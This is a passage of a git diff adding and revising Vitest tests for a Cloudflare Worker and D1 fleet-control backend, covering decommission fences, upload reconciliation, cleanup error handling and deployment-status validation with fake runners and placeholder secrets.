+    const failureRows: readonly Readonly<{
+      configure?: (client: FakeApi) => void | Promise<void>;
+      record?: FleetRecord;
+      message: string;
+      expectedEvents(path: AssertionPath): readonly string[];
+    }>[] = [
+      {
+        record: { ...record, databaseId: 'db-other' },
+        message:
+          'refusing to attest database detachment for a different deployment',
+        expectedEvents: () => ['fence'],
+      },
+      {
+        configure(client) {
+          client.routeOwner = hostRoutingTarget(physicalScriptName);
+        },
+        message: `host route '${record.routeHostname}' remains before D1 deletion`,
+        expectedEvents: () => ['fence', 'host'],
+      },
+      {
+        configure(client) {
+          client.exists = true;
+        },
+        message: `dispatch release '${physicalScriptName}' remains before D1 deletion`,
+        expectedEvents: (path) => [
+          ...prefix(path),
+          `release:${physicalScriptName}`,
+        ],
+      },
+      {
+        configure(client) {
+          client.scriptInventories.set(physicalScriptName, {
+            scriptName: physicalScriptName,
+            tenantTag: deployment.tenantTag,
+            environment: deployment.environment,
+            databaseId: database.id,
+            routeHostname: deployment.routeHostname,
+          });
+        },
+        message: `script inventory '${physicalScriptName}' remains before D1 deletion`,
+        expectedEvents: (path) => [
+          ...prefix(path),
+          `release:${physicalScriptName}`,
+          `inventory:${physicalScriptName}`,
+        ],
+      },
+      {
+        async configure(client) {
+          await client.uploadControlWorker({
+            scriptName: stateName,
+            bindings: [],
+          });
+        },
+        message: `trusted platform Worker '${stateName}' remains before D1 deletion`,
+        expectedEvents: (path) => [
+          ...prefix(path),
+          `release:${physicalScriptName}`,
+          `inventory:${physicalScriptName}`,
+          `control:${stateName}`,
+        ],
+      },
+      {
+        configure(client) {
+          client.remainingNamespaceIds.add('namespace-maintenance');
+        },
+        message:
+          "Durable Object namespace 'namespace-maintenance' remains before D1 deletion",
+        expectedEvents: (path) => [...successEvents(path).slice(0, -1)],
+      },
+    ];
+
+    for (const path of ['residual', 'legacy'] as const) {
+      for (const row of failureRows) {
+        const test = await scenario(path, row.configure, row.record ?? record);
+        await expect(test.invoke()).rejects.toMatchObject({
+          message: row.message,
+        });
+        expect(test.events).toEqual(row.expectedEvents(path));
+        expect(test.assertOwned).toHaveBeenCalledTimes(1);
+      }
+    }
+
+    const legacyAttachment = await scenario('legacy', (client) => {
+      client.databaseAttachments.push({
+        plane: 'ordinary',
+        scriptName: 'unrelated-ordinary-worker',
+      });
+    });
+    await expect(legacyAttachment.invoke()).rejects.toMatchObject({
+      message:
+        "database 'db-acme' remains bound to Worker scripts before D1 deletion: ordinary:unrelated-ordinary-worker",
+    });
+    expect(legacyAttachment.events).toEqual(prefix('legacy'));
+    expect(legacyAttachment.assertOwned).toHaveBeenCalledTimes(1);
+
+    const residualSuccess = await scenario('residual', (client) => {
+      client.databaseAttachments.push({
+        plane: 'ordinary',
+        scriptName: 'must-not-be-listed',
+      });
+    });
+    await expect(residualSuccess.invoke()).resolves.toBeUndefined();
+    expect(residualSuccess.events).toEqual(successEvents('residual'));
+    expect(residualSuccess.events).not.toContain('attachments');
+    expect(residualSuccess.assertOwned).toHaveBeenCalledTimes(2);
+
+    const legacySuccess = await scenario('legacy');
+    await expect(legacySuccess.invoke()).resolves.toBeUndefined();
+    expect(legacySuccess.events).toEqual(successEvents('legacy'));
+    expect(legacySuccess.assertOwned).toHaveBeenCalledTimes(2);
+  });
+
   it('requires positive route, script, and inventory absence before D1 deletion', async () => {
     const api = new FakeApi();
     const physicalScriptName = externalReleaseScriptName(deployment);
diff --git a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts
new file mode 100644
index 00000000..aa50ffd6
--- /dev/null
+++ b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts
@@ -0,0 +1,702 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { describe, expect, it, vi } from 'vitest';
+import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js';
+import { WorkerDeploymentError } from '../src/deployment-error.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import type {
+  DatabaseReference,
+  DeploymentSecrets,
+  DeploymentSpec,
+  FleetRecord,
+  PlainWorkerRouteApi,
+} from '../src/types.js';
+import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js';
+import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js';
+import {
+  memoryStore,
+  mutationFence,
+  routeApi,
+} from './fixtures/plain-worker-port-probe.js';
+import {
+  type PlainWorkerFsControl,
+  registerScratchCleanup,
+} from './fixtures/wrangler-fs-mock.js';
+
+const fsControl = vi.hoisted<PlainWorkerFsControl>(() => ({
+  failFleetCleanup: false,
+  residualDirectory: undefined,
+  cleanupError: new Error('adapter cleanup failed'),
+}));
+
+vi.mock('node:fs/promises', async () => {
+  const { createFsPromisesMock } = await import(
+    './fixtures/wrangler-fs-mock.js'
+  );
+  return createFsPromisesMock(fsControl);
+});
+
+const exportDirectories = registerScratchCleanup(fsControl, {
+  cleanupError: fsControl.cleanupError,
+});
+
+const spec: DeploymentSpec = {
+  tenantTag: 'acme',
+  environment: 'production',
+  scriptName: 'acme-production',
+  databaseName: 'acme-production',
+  compatibilityDate: '2026-08-10',
+  compatibilityFlags: ['nodejs_compat'],
+  mainModule: 'worker.js',
+  modules: [{ name: 'worker.js', content: 'export default { fetch() {} }' }],
+  authoredBy: 'platform',
+  schemaVersion: 3,
+  migrations: [],
+  durableObjectMigrations: [],
+  durableObjectBindings: [],
+  maintenanceBaseUrl: 'https://control.example.test',
+  routeHostname: 'app.example.test',
+};
+
+const database: DatabaseReference = {
+  id: 'database-id',
+  name: spec.databaseName,
+  created: true,
+};
+
+const secrets: DeploymentSecrets = {
+  deploymentIdentity: 'deployment-identity-secret-value-0001',
+  maintenanceAdmin: 'maintenance-admin-secret-value-00001',
+};
+
+const fleetRecord: FleetRecord = {
+  tenantTag: spec.tenantTag,
+  backend: 'plain-worker',
+  environment: spec.environment,
+  scriptName: spec.scriptName,
+  databaseId: database.id,
+  databaseName: database.name,
+  schemaVersion: spec.schemaVersion,
+  artifactVersion: 'candidate',
+  desiredSpecDigest: deploymentSpecDigest(spec),
+  durableObjectBindings: [],
+  routeHostname: spec.routeHostname,
+  phase: 'worker-deleted',
+  updatedAt: '2026-08-11T00:00:00.000Z',
+};
+
+class FakeRunner implements CommandRunner {
+  readonly maxDurationMs = 5 * 60_000;
+  readonly mutableCalls: string[][] = [];
+  readonly calls: readonly string[][] = this.mutableCalls;
+
+  constructor(
+    readonly handler: (arguments_: readonly string[]) => Promise<CommandResult>,
+  ) {}
+
+  run(arguments_: readonly string[]): Promise<CommandResult> {
+    this.mutableCalls.push([...arguments_]);
+    return this.handler(arguments_);
+  }
+}
+
+async function backend(
+  runner: CommandRunner,
+  options: {
+    readonly routeApi?: PlainWorkerRouteApi;
+    readonly exportStore?: DurableDatabaseExportStore;
+  } = {},
+): Promise<WranglerLoopBackend> {
+  const exportDirectory = await mkdtemp(join(tmpdir(), 'backend-export-'));
+  exportDirectories.add(exportDirectory);
+  return new WranglerLoopBackend({
+    runner,
+    routeApi: options.routeApi ?? routeApi(),
+    exportDirectory,
+    exportStore: options.exportStore ?? memoryStore(),
+  });
+}
+
+function notFound(message: string): never {
+  throw new Error(`${message} not found`);
+}
+
+async function rejectedValue(operation: Promise<unknown>): Promise<unknown> {
+  try {
+    await operation;
+  } catch (error) {
+    return error;
+  }
+  throw new Error('expected operation to reject');
+}
+
+function uploadRunner({
+  dispatchFails = false,
+  dispatchFailure,
+  commitBeforeFailure = true,
+}: {
+  readonly dispatchFails?: boolean;
+  readonly dispatchFailure?: unknown;
+  readonly commitBeforeFailure?: boolean;
+} = {}): FakeRunner {
+  let uploaded = false;
+  const digest = deploymentSpecDigest(spec);
+  return new FakeRunner(async (arguments_) => {
+    const command = arguments_.slice(0, 2).join(' ');
+    if (command === 'deployments status') {
+      if (!uploaded) return notFound('deployment');
+      return {
+        stdout: JSON.stringify({
+          versions: [{ id: 'candidate', percentage: 100 }],
+        }),
+        stderr: '',
+      };
+    }
+    if (command === 'versions list') {
+      if (!uploaded) return notFound('script');
+      return {
+        stdout: JSON.stringify([
+          { id: 'candidate', annotations: { 'workers/tag': digest } },
+        ]),
+        stderr: '',
+      };
+    }
+    if (command === 'versions view') {
+      return {
+        stdout: JSON.stringify({
+          id: 'candidate',
+          resources: {
+            bindings: [
+              { type: 'plain_text', name: 'FLEET_SPEC_DIGEST', text: digest },
+              {
+                type: 'plain_text',
+                name: 'FLEET_INGRESS_CONTRACT',
+                text: 'guarded-object-v1',
+              },
+            ],
+          },
+        }),
+        stderr: '',
+      };
+    }
+    if (arguments_[0] === 'deploy') {
+      if (dispatchFails) {
+        if (commitBeforeFailure) uploaded = true;
+        throw dispatchFailure;
+      }
+      uploaded = true;
+      return { stdout: 'ignored', stderr: '' };
+    }
+    throw new Error(`unexpected command ${arguments_.join(' ')}`);
+  });
+}
+
+describe('WranglerLoopBackend provisioning port contract', () => {
+  it('catches a truncating durable export store end to end', async () => {
+    const runner = new FakeRunner(async (arguments_) => {
+      await writeFile(
+        arguments_[arguments_.indexOf('--output') + 1] as string,
+        'complete export',
+      );
+      return { stdout: '', stderr: '' };
+    });
+    const exportStore: DurableDatabaseExportStore = {
+      async write(input) {
+        const reader = input.body.getReader();
+        const first = await reader.read();
+        const prefix = first.done ? new Uint8Array() : first.value.slice(0, 2);
+        await reader.cancel();
+        return {
+          location: 'memory://prefix',
+          size: prefix.byteLength,
+          sha256: createHash('sha256').update(prefix).digest('hex'),
+        };
+      },
+    };
+    await expect(
+      (await backend(runner, { exportStore })).exportDatabase(
+        database,
+        mutationFence(),
+      ),
+    ).rejects.toThrow(
+      'durable database export store returned mismatched committed integrity',
+    );
+  });
+
+  it('reconciles a failed upload by tag rediscovery', async () => {
+    const dispatchFailure = new Error('dispatch result unknown');
+    const runner = uploadRunner({ dispatchFails: true, dispatchFailure });
+    const reconciledRouteApi = routeApi({
+      async inspectOrdinaryWorkerFootprint() {
+        return {
+          scriptPresent: true,
+          workersDevEnabled: true,
+          previewUrlsEnabled: false,
+          customDomains: [],
+          zoneRoutes: [],
+        };
+      },
+    });
+    await expect(
+      (await backend(runner, { routeApi: reconciledRouteApi })).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    ).resolves.toEqual({ artifactVersion: 'candidate', created: true });
+  });
+
+  it('propagates a rejected upload without rollback calls', async () => {
+    const runner = uploadRunner();
+    const denied = new Error('lease lost before dispatch');
+    await expect(
+      (await backend(runner)).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(
+          vi.fn(async () => {
+            throw denied;
+          }),
+        ),
+      ),
+    ).rejects.toBe(denied);
+    expect(runner.calls.map((arguments_) => arguments_.slice(0, 2))).toEqual([
+      ['deployments', 'status'],
+      ['versions', 'list'],
+    ]);
+  });
+
+  it('does no adapter scratch work for a persisted candidate no-op', async () => {
+    fsControl.failFleetCleanup = true;
+    fsControl.mkdtempCalls = 0;
+    const digest = deploymentSpecDigest(spec);
+    const runner = new FakeRunner(async (arguments_) => {
+      const command = arguments_.slice(0, 2).join(' ');
+      if (command === 'deployments status') {
+        return {
+          stdout: JSON.stringify({
+            versions: [{ id: 'candidate', percentage: 100 }],
+          }),
+          stderr: '',
+        };
+      }
+      if (command === 'versions list') {
+        return {
+          stdout: JSON.stringify([
+            { id: 'candidate', annotations: { 'workers/tag': digest } },
+          ]),
+          stderr: '',
+        };
+      }
+      if (command === 'versions view') {
+        return {
+          stdout: JSON.stringify({
+            id: 'candidate',
+            resources: {
+              bindings: [
+                { type: 'd1', name: 'DB', id: database.id },
+                {
+                  type: 'plain_text',
+                  name: 'DEPLOYMENT_TENANT',
+                  text: spec.tenantTag,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_ENVIRONMENT',
+                  text: spec.environment,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_SPEC_DIGEST',
+                  text: digest,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_INGRESS_CONTRACT',
+                  text: 'guarded-object-v1',
+                },
+              ],
+            },
+          }),
+          stderr: '',
+        };
+      }
+      throw new Error(`unexpected command ${arguments_.join(' ')}`);
+    });
+
+    await expect(
+      (await backend(runner)).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+        'candidate',
+      ),
+    ).resolves.toEqual({ artifactVersion: 'candidate', created: false });
+    expect(fsControl.mkdtempCalls).toBe(0);
+    expect(fsControl.residualDirectory).toBeUndefined();
+    expect(runner.calls.some((arguments_) => arguments_[0] === 'deploy')).toBe(
+      false,
+    );
+  });
+
+  it('rejects a scratch allocation failure after provider reads and before dispatch', async () => {
+    const allocationFailure = new Error('scratch allocation failed');
+    const events: string[] = [];
+    fsControl.failOperation = 'mkdtemp';
+    fsControl.operationError = allocationFailure;
+    fsControl.mkdtempCalls = 0;
+    const runner = new FakeRunner(async (arguments_) => {
+      const command = arguments_.slice(0, 2).join(' ');
+      if (command === 'deployments status') {
+        events.push('status read');
+        return notFound('deployment');
+      }
+      if (command === 'versions list') {
+        events.push('version read');
+        return notFound('script');
+      }
+      throw new Error(`unexpected command ${arguments_.join(' ')}`);
+    });
+    const operation = (await backend(runner))
+      .deployWorker(spec, database, secrets, undefined, mutationFence())
+      .catch((error: unknown) => {
+        events.push('rejection');
+        throw error;
+      });
+
+    await expect(operation).rejects.toBe(allocationFailure);
+    expect(events).toEqual(['status read', 'version read', 'rejection']);
+    expect(fsControl.mkdtempCalls).toBe(1);
+    expect(runner.calls.map((arguments_) => arguments_.slice(0, 2))).toEqual([
+      ['deployments', 'status'],
+      ['versions', 'list'],
+    ]);
+  });
+
+  it('does not status-read back a pre-dispatch createDeployment rejection', async () => {
+    const digest = deploymentSpecDigest(spec);
+    let uploaded = false;
+    let statusReads = 0;
+    const runner = new FakeRunner(async (arguments_) => {
+      const command = arguments_.slice(0, 2).join(' ');
+      if (command === 'deployments status') {
+        statusReads += 1;
+        return {
+          stdout: JSON.stringify({
+            versions: [{ id: 'current', percentage: 100 }],
+          }),
+          stderr: '',
+        };
+      }
+      if (command === 'versions list') {
+        return {
+          stdout: JSON.stringify([
+            { id: 'current' },
+            ...(uploaded
+              ? [
+                  {
+                    id: 'candidate',
+                    annotations: { 'workers/tag': digest },
+                  },
+                ]
+              : []),
+          ]),
+          stderr: '',
+        };
+      }
+      if (command === 'versions view') {
+        const versionId = arguments_[2];
+        return {
+          stdout: JSON.stringify({
+            id: versionId,
+            resources: {
+              bindings: [
+                { type: 'd1', name: 'DB', id: database.id },
+                {
+                  type: 'plain_text',
+                  name: 'DEPLOYMENT_TENANT',
+                  text: spec.tenantTag,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_ENVIRONMENT',
+                  text: spec.environment,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_SPEC_DIGEST',
+                  text: digest,
+                },
+                {
+                  type: 'plain_text',
+                  name: 'FLEET_INGRESS_CONTRACT',
+                  text: 'guarded-object-v1',
+                },
+              ],
+            },
+          }),
+          stderr: '',
+        };
+      }
+      if (command === 'versions upload') {
+        uploaded = true;
+        return { stdout: '', stderr: '' };
+      }
+      throw new Error(`unexpected command ${arguments_.join(' ')}`);
+    });
+    const denied = new Error('lease lost before deployment dispatch');
+    let assertions = 0;
+    const operation = (await backend(runner)).deployWorker(
+      spec,
+      database,
+      secrets,
+      undefined,
+      mutationFence(
+        vi.fn(async () => {
+          assertions += 1;
+          if (assertions === 2) throw denied;
+        }),
+      ),
+    );
+    await expect(operation).rejects.toBeInstanceOf(WorkerDeploymentError);
+    await expect(operation).rejects.toMatchObject({ cause: denied });
+    expect(statusReads).toBe(2);
+    expect(
+      runner.calls.some(
+        (arguments_) =>
+          arguments_[0] === 'versions' && arguments_[1] === 'deploy',
+      ),
+    ).toBe(false);
+  });
+
+  it('classifies cleanup failure after reconciliation for caller-owned rollback', async () => {
+    fsControl.failFleetCleanup = true;
+    const runner = uploadRunner();
+    const rejection = await rejectedValue(
+      (await backend(runner)).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    );
+    expect(rejection).toEqual(
+      expect.objectContaining({
+        message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch: adapter cleanup failed`,
+        createdByAttempt: true,
+        resourceState: 'present',
+      }),
+    );
+    expect((rejection as Error).cause).toBe(fsControl.cleanupError);
+    expect(
+      runner.calls.some(
+        (arguments_) =>
+          arguments_[0] === 'versions' && arguments_[1] === 'view',
+      ),
+    ).toBe(true);
+    expect(runner.calls.some((arguments_) => arguments_[0] === 'delete')).toBe(
+      false,
+    );
+    expect(fsControl.residualDirectory).toBeDefined();
+  });
+
+  it('wraps an undefined adapter cleanup rejection after backend reconciliation', async () => {
+    fsControl.failFleetCleanup = true;
+    fsControl.cleanupError = undefined;
+    const rejection = await rejectedValue(
+      (await backend(uploadRunner())).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    );
+    expect(rejection).toEqual(
+      expect.objectContaining({
+        message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch`,
+        createdByAttempt: true,
+        resourceState: 'present',
+      }),
+    );
+    expect((rejection as Error).cause).toBeUndefined();
+  });
+
+  it('uses rediscovery failure when a dispatched upload rejects with undefined', async () => {
+    const rejection = await rejectedValue(
+      (
+        await backend(
+          uploadRunner({
+            dispatchFails: true,
+            dispatchFailure: undefined,
+            commitBeforeFailure: false,
+          }),
+        )
+      ).deployWorker(spec, database, secrets, undefined, mutationFence()),
+    );
+    expect(rejection).toBeInstanceOf(WorkerDeploymentError);
+    if (!(rejection instanceof WorkerDeploymentError)) return;
+    expect(rejection.cause).toBeInstanceOf(Error);
+    if (!(rejection.cause instanceof Error)) return;
+    expect(rejection.cause.message).toContain(
+      'did not create exactly one new tagged Worker version',
+    );
+  });
+
+  it('preserves WorkerDeploymentError metadata and cause order through adapter cleanup aggregation', async () => {
+    const dispatchFailure = new Error('dispatch failed before commit');
+    const withoutCleanup = await rejectedValue(
+      (
+        await backend(
+          uploadRunner({
+            dispatchFails: true,
+            dispatchFailure,
+            commitBeforeFailure: false,
+          }),
+        )
+      ).deployWorker(spec, database, secrets, undefined, mutationFence()),
+    );
+    expect(withoutCleanup).toBeInstanceOf(WorkerDeploymentError);
+    if (!(withoutCleanup instanceof WorkerDeploymentError)) return;
+    expect(withoutCleanup.cause).toBe(dispatchFailure);
+    expect(withoutCleanup.message).toBe(
+      "failed to install Worker 'acme-production': dispatch failed before commit",
+    );
+
+    fsControl.failFleetCleanup = true;
+    const cleanupFailure = fsControl.cleanupError;
+    const withCleanup = await rejectedValue(
+      (
+        await backend(
+          uploadRunner({
+            dispatchFails: true,
+            dispatchFailure,
+            commitBeforeFailure: false,
+          }),
+        )
+      ).deployWorker(spec, database, secrets, undefined, mutationFence()),
+    );
+    expect(withCleanup).toBeInstanceOf(WorkerDeploymentError);
+    if (!(withCleanup instanceof WorkerDeploymentError)) return;
+    expect(withCleanup.createdByAttempt).toBe(withoutCleanup.createdByAttempt);
+    expect(withCleanup.resourceState).toBe(withoutCleanup.resourceState);
+    expect(withCleanup.cause).toBeInstanceOf(AggregateError);
+    if (!(withCleanup.cause instanceof AggregateError)) return;
+    expect(withCleanup.message).toBe(
+      "failed to install Worker 'acme-production': Worker upload and adapter scratch cleanup both failed",
+    );
+    expect(withCleanup.message).not.toContain(': :');
+    const errors = withCleanup.cause.errors;
+    expect(errors).toHaveLength(2);
+    expect(errors[0]).toBe(dispatchFailure);
+    expect(errors[1]).toBe(cleanupFailure);
+  });
+
+  it.each([
+    [
+      'missing version id',
+      'plain Worker deployment status has an invalid version',
+      { versions: [{ percentage: 10 }] },
+    ],
+    [
+      'empty inventory',
+      'plain Worker deployment status has no versions',
+      { versions: [] },
+    ],
+    [
+      'negative percentage',
+      'plain Worker deployment status has an invalid version',
+      { versions: [{ id: 'v1', percentage: -1 }] },
+    ],
+    [
+      'omitted percentage',
+      'plain Worker deployment status has an invalid version',
+      { versions: [{ id: 'v1' }] },
+    ],
+    [
+      'non-numeric percentage',
+      'plain Worker deployment status has an invalid version',
+      { versions: [{ id: 'v1', percentage: 'NaN' }] },
+    ],
+  ])('keeps the %s backend deployment-status refusal', async (_title, message, status) => {
+    const runner = new FakeRunner(async () => ({
+      stdout: JSON.stringify(status),
+      stderr: '',
+    }));
+    await expect(
+      (await backend(runner)).inspect(spec, secrets.maintenanceAdmin),
+    ).rejects.toThrow(message);
+  });
+
+  it('name-reconciles a dispatched D1 create failure', async () => {
+    const dispatchFailure = new Error('name conflict');
+    const runner = new FakeRunner(async (arguments_) => {
+      if (arguments_[1] === 'create') throw dispatchFailure;
+      return {
+        stdout: JSON.stringify([{ uuid: database.id, name: database.name }]),
+        stderr: '',
+      };
+    });
+    const subject = await backend(runner);
+    subject.readDeploymentIdentity = async () => undefined;
+    await expect(
+      subject.ensureDatabase(spec, mutationFence()),
+    ).resolves.toEqual({
+      ...database,
+      created: true,
+    });
+  });
+
+  it('refuses a D1 list row whose uuid is empty', async () => {
+    const runner = new FakeRunner(async () => ({
+      stdout: JSON.stringify([{ uuid: '', name: spec.databaseName }]),
+      stderr: '',
+    }));
+    await expect((await backend(runner)).findDatabase(spec)).rejects.toThrow(
+      'D1 database inventory has an invalid uuid or name',
+    );
+  });
+
+  it('runs force-decommission D1 read, identity, deletion, and verification in one fenced scope', async () => {
+    const events: string[] = [];
+    let present = true;
+    const route = routeApi({
+      async withMutationFence(fence, operation) {
+        events.push('scope');
+        await fence.assertOwned();
+        return operation();
+      },
+      async getDatabase() {
+        events.push('read');
+        return present ? { ...database, created: false } : undefined;
+      },
+      async deleteDatabase() {
+        events.push('delete');
+        present = false;
+      },
+    });
+    const owned = vi.fn(async () => {});
+    await (
+      await backend(new FakeRunner(async () => ({ stdout: '', stderr: '' })), {
+        routeApi: route,
+      })
+    ).forceDecommissionStep(
+      fleetRecord,
+      'delete-database',
+      mutationFence(owned),
+    );
+    expect(events).toEqual(['scope', 'read', 'delete', 'read']);
+    expect(owned).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts
index 48fca30d..e61e511d 100644
--- a/packages/fleet-control/test/wrangler-loop-backend.test.ts
+++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts
@@ -8,10 +8,14 @@ import { pathToFileURL } from 'node:url';
 import { describe, expect, it, vi } from 'vitest';
 import { ActiveRouteAttestationError } from '../src/active-route.js';
 import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js';
+import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js';
 import { WorkerDeploymentError } from '../src/deployment-error.js';
+import { plainWorkerIngressModule } from '../src/plain-worker-backend.js';
 import { deploymentSpecDigest } from '../src/spec-digest.js';
 import type {
   DatabaseReference,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
   DeploymentSecrets,
   DeploymentSpec,
   ExternalMutationFence,
@@ -20,11 +24,9 @@ import type {
   PlainWorkerCustomDomain,
   PlainWorkerRouteApi,
 } from '../src/types.js';
-import {
-  plainWorkerIngressModule,
-  WranglerLoopBackend,
-} from '../src/wrangler-loop-backend.js';
+import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js';
 import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js';
+import { D1State } from './fixtures/provider-world.js';
 
 const deployment: DeploymentSpec = {
   tenantTag: 'acme',
@@ -109,7 +111,9 @@ class FakeRunner implements CommandRunner {
   readonly #handler: RunnerHandler;
 
   constructor(
-    handler: RunnerHandler = async () => ({ stdout: '', stderr: '' }),
+    handler: RunnerHandler = async (arguments_) => {
+      throw new Error(`unstubbed wrangler argv: ${arguments_.join(' ')}`);
+    },
     maxDurationMs = 5 * 60_000,
   ) {
     this.#handler = handler;
@@ -152,6 +156,8 @@ class FakeRouteApi implements PlainWorkerRouteApi {
     'MAINTENANCE_ADMIN_SECRET',
   ]);
   secretRevocationNoop = false;
+  /** A detach the provider accepts while the custom domain survives it. */
+  domainDetachNoop = false;
   afterDeleteControlSecret: ((secretName: string) => void) | undefined;
   secretListReads = 0;
   secretListError: Error | undefined;
@@ -315,6 +321,7 @@ class FakeRouteApi implements PlainWorkerRouteApi {
 
   async detachCustomDomain(domainId: string): Promise<void> {
     this.calls.push({ operation: 'detach', domainId });
+    if (this.domainDetachNoop) return;
     this.domains = this.domains.filter((domain) => domain.id !== domainId);
   }
 
@@ -1440,6 +1447,9 @@ export default {
           stderr: '',
         };
       }
+      if (arguments_[0] === 'versions' && arguments_[1] === 'list') {
+        return { stdout: JSON.stringify([]), stderr: '' };
+      }
       return {
         stdout: JSON.stringify({
           resources: {
@@ -1541,6 +1551,9 @@ export default {
     expect(request).toHaveBeenCalledWith(
       new URL('https://control-acme.example.test/admin/maintenance-status'),
       {
+        method: 'GET',
+        signal: expect.any(AbortSignal),
+        redirect: 'manual',
         headers: { authorization: `Bearer ${secrets.maintenanceAdmin}` },
       },
     );
@@ -1596,6 +1609,9 @@ export default {
           stderr: '',
         };
       }
+      if (arguments_[0] === 'versions' && arguments_[1] === 'list') {
+        return { stdout: JSON.stringify([]), stderr: '' };
+      }
       return { stdout: JSON.stringify(version), stderr: '' };
     });
 
@@ -1605,53 +1621,64 @@ export default {
   });
 
   it('inspects the tagged 0% candidate through a version override and rejects silent fallback', async () => {
-    const digest = deploymentSpecDigest(deployment);
-    const runner = new FakeRunner(async (arguments_) => {
-      const command = arguments_.slice(0, 2).join(' ');
-      if (command === 'deployments status') {
-        return {
-          stdout: JSON.stringify({
-            versions: [
-              { version_id: 'version-old', percentage: 100 },
-              { version_id: 'version-next', percentage: 0 },
-            ],
-          }),
-          stderr: '',
-        };
-      }
-      if (command === 'versions list') {
-        return {
-          stdout: JSON.stringify([listedVersion('version-next', digest)]),
-          stderr: '',
-        };
-      }
-      if (command === 'versions view') {
-        return { stdout: JSON.stringify(viewedVersion(digest)), stderr: '' };
-      }
-      return { stdout: '', stderr: '' };
-    });
-    const request = vi.fn(async () =>
-      Response.json({
-        alarmAt: 2_000,
-        deploymentSpecDigest: 'b'.repeat(64),
-      }),
-    );
+    vi.useFakeTimers();
+    try {
+      const digest = deploymentSpecDigest(deployment);
+      const runner = new FakeRunner(async (arguments_) => {
+        const command = arguments_.slice(0, 2).join(' ');
+        if (command === 'deployments status') {
+          return {
+            stdout: JSON.stringify({
+              versions: [
+                { version_id: 'version-old', percentage: 100 },
+                { version_id: 'version-next', percentage: 0 },
+              ],
+            }),
+            stderr: '',
+          };
+        }
+        if (command === 'versions list') {
+          return {
+            stdout: JSON.stringify([listedVersion('version-next', digest)]),
+            stderr: '',
+          };
+        }
+        if (command === 'versions view') {
+          return { stdout: JSON.stringify(viewedVersion(digest)), stderr: '' };
+        }
+        return { stdout: '', stderr: '' };
+      });
+      const request = vi.fn(async () =>
+        Response.json({
+          alarmAt: 2_000,
+          deploymentSpecDigest: 'b'.repeat(64),
+        }),
+      );
 
-    await expect(
-      backend(runner, { fetch: request }).inspect(
-        deployment,
-        secrets.maintenanceAdmin,
-      ),
-    ).rejects.toThrow(/did not attest fleet specification digest/);
-    expect(request).toHaveBeenCalledWith(
-      new URL('https://control-acme.example.test/admin/maintenance-status'),
-      {
-        headers: {
-          authorization: `Bearer ${secrets.maintenanceAdmin}`,
-          'Cloudflare-Workers-Version-Overrides': `${deployment.scriptName}="version-next"`,
+      const pending = expect(
+        backend(runner, { fetch: request }).inspect(
+          deployment,
+          secrets.maintenanceAdmin,
+        ),
+      ).rejects.toThrow(/did not attest fleet specification digest/);
+      await vi.advanceTimersByTimeAsync(60_000);
+      await pending;
+      expect(request).toHaveBeenCalledTimes(30);
+      expect(request).toHaveBeenCalledWith(
+        new URL('https://control-acme.example.test/admin/maintenance-status'),
+        {
+          method: 'GET',
+          signal: expect.any(AbortSignal),
+          redirect: 'manual',
+          headers: {
+            authorization: `Bearer ${secrets.maintenanceAdmin}`,
+            'Cloudflare-Workers-Version-Overrides': `${deployment.scriptName}="version-next"`,
+          },
         },
-      },
-    );
+      );
+    } finally {
+      vi.useRealTimers();
+    }
   });
 
   it.each([
@@ -1741,9 +1768,11 @@ export default {
       }
       return { stdout: '', stderr: '' };
     });
+    const reconciledRouteApi = new FakeRouteApi();
+    reconciledRouteApi.workersDevEnabled = true;
 
     await expect(
-      backend(runner).deployWorker(
+      backend(runner, { routeApi: reconciledRouteApi }).deployWorker(
         deployment,
         database,
         secrets,
@@ -1754,7 +1783,7 @@ export default {
 
     const callsBeforeRetry = runner.calls.length;
     await expect(
-      backend(runner).deployWorker(
+      backend(runner, { routeApi: reconciledRouteApi }).deployWorker(
         deployment,
         database,
         secrets,
@@ -1818,58 +1847,21 @@ export default {
     expect(runner.calls.map(operation)).toContain('versions upload');
   });
 
-  it('reads and seeds database ownership through fenced provider-native SQL', async () => {
-    const sentinelDdl = `CREATE TABLE IF NOT EXISTS flowsafe_deployment (
-  id INTEGER PRIMARY KEY CHECK (id = 1),
-  tenant_tag TEXT NOT NULL,
-  provisioned_at TEXT NOT NULL
-)`;
-    let sentinelExists = false;
-    let fenceExists = false;
-    let owner: string | undefined;
+  it('seeds optional FS8 metadata through string-bound provider SQL', async () => {
+    const d1 = new D1State();
     let fenceBindings: readonly unknown[] | undefined;
     const runner = new FakeRunner();
     const routeApi = new FakeRouteApi();
     routeApi.queryHandler = async (sql, bindings) => {
-      let results: readonly Readonly<Record<string, unknown>>[] = [];
